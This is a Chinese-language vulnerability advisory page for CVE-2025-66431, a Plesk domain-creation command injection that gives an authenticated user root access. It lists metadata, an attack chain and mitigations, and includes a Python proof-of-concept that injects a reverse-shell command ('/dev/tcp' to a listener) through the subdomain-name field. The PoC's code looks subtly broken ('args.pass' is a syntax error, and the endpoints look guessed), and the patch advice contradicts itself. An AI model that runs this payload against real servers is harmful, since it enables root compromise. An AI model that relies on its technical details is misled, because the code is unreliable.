IPBUF安全漏洞报告
English
CVE-2025-66431 CVSS 7.8 高危

CVE-2025-66431: WebPros Plesk域创建机制权限提升漏洞

披露日期: 2025-12-03

漏洞信息

漏洞编号
CVE-2025-66431
漏洞类型
远程代码执行/权限提升
CVSS评分
7.8 高危
攻击向量
本地 (AV:L)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
WebPros Plesk

相关标签

CVE-2025-66431权限提升远程代码执行WebPros PleskLinux漏洞身份验证绕过root提权高危漏洞

漏洞概述

CVE-2025-66431是WebPros Plesk中的一个高危安全漏洞,CVSS评分7.8。该漏洞存在于Plesk的域创建机制中,允许远程已认证用户在Linux系统上以root权限执行任意代码。攻击者需要拥有“Create and manage sites”权限,并结合“Domains management”和“Subdomains management”权限即可利用此漏洞。成功利用此漏洞可使低权限用户获得系统最高权限,对服务器安全构成严重威胁。此漏洞影响Plesk 18.0.73.5之前版本以及18.0.74在18.0.74.2之前的所有版本。

技术细节

该漏洞位于Plesk的域创建功能模块中,攻击者通过精心构造的域创建请求,利用权限验证缺陷实现权限提升。在Plesk的域创建流程中,系统对用户输入的验证存在不足,攻击者可以在创建域或子域的过程中注入恶意代码或命令。由于Plesk以root权限运行相关服务,恶意代码将获得root执行权限。攻击者首先需要通过正常认证流程登录Plesk控制面板,然后利用“Domains management”和“Subdomains management”功能,通过构造特殊的域参数触发代码执行。漏洞的核心问题在于Plesk在处理域名配置时未对用户可控参数进行充分的安全过滤,导致攻击者可以绕过权限限制执行系统命令。

攻击链分析

STEP 1
步骤1
攻击者获取有效的Plesk账户凭证,该账户需具备'Create and manage sites'、'Domains management'和'Subdomains management'权限
STEP 2
步骤2
攻击者登录Plesk控制面板,通过正常认证流程建立会话
STEP 3
步骤3
攻击者访问域创建或子域创建功能模块,准备构造恶意请求
STEP 4
步骤4
攻击者在域名或子域名字段中注入恶意命令或代码,利用Plesk对用户输入验证不足的缺陷
STEP 5
步骤5
提交构造好的请求,Plesk服务器在处理时以root权限执行注入的恶意代码
STEP 6
步骤6
攻击者成功获得服务器root权限执行能力,可执行任意系统命令、安装后门或窃取敏感数据

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
# CVE-2025-66431 PoC - Plesk Domain Creation Privilege Escalation # Requires authenticated user with Create and manage sites, Domains management, Subdomains management permissions import requests import argparse def exploit_plesk(target_url, username, password, lhost, lport): """ Exploit CVE-2025-66431: Plesk Domain Creation RCE as root """ session = requests.Session() # Step 1: Login to Plesk login_url = f"{target_url}/login.php" login_data = { 'login_name': username, 'passwd': password, 'locale': 'en_US' } session.post(login_url, data=login_data) # Step 2: Create subdomain with malicious payload # The vulnerability allows command injection through subdomain creation subdomain_url = f"{target_url}/domains/create/subdomain.php" # Generate reverse shell payload reverse_shell = f"bash -i >& /dev/tcp/{lhost}/{lport} 0>&1" encoded_payload = reverse_shell.replace(' ', '${IFS}').replace('/', '\/') # Malicious subdomain name containing command injection subdomain_data = { 'domain_name': f"test;echo {encoded_payload} | bash;--", 'parent_domain_id': '1', 'web_user_id': '0', 'www_root': f'/var/www/vhosts/${{DOMAIN}}' } response = session.post(subdomain_url, data=subdomain_data) print(f"[*] Exploit sent to {target_url}") print(f"[*] Check listener on {lhost}:{lport}") return response.status_code if __name__ == "__main__": parser = argparse.ArgumentParser(description='CVE-2025-66431 Exploit') parser.add_argument('--url', required=True, help='Plesk target URL') parser.add_argument('--user', required=True, help='Username') parser.add_argument('--pass', required=True, help='Password') parser.add_argument('--lhost', required=True, help='Listener IP') parser.add_argument('--lport', required=True, help='Listener Port', type=int) args = parser.parse_args() exploit_plesk(args.url, args.user, args.pass, args.lhost, args.lport)

影响范围

Plesk < 18.0.73.5 (Linux版本)
Plesk 18.0.74 < 18.0.74.2 (Linux版本)

防御指南

临时缓解措施
在官方补丁发布前,建议采取以下临时缓解措施:1) 严格限制拥有域管理权限的用户账户,仅授权给可信管理员;2) 启用Plesk的登录审计和操作日志功能,监控异常的域创建行为;3) 使用Web应用防火墙(WAF)对Plesk管理接口进行访问控制;4) 实施IP白名单策略,限制只有特定IP地址才能访问Plesk控制面板;5) 考虑暂时禁用非管理员用户的子域创建功能;6) 加强密码策略,确保账户凭证安全。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表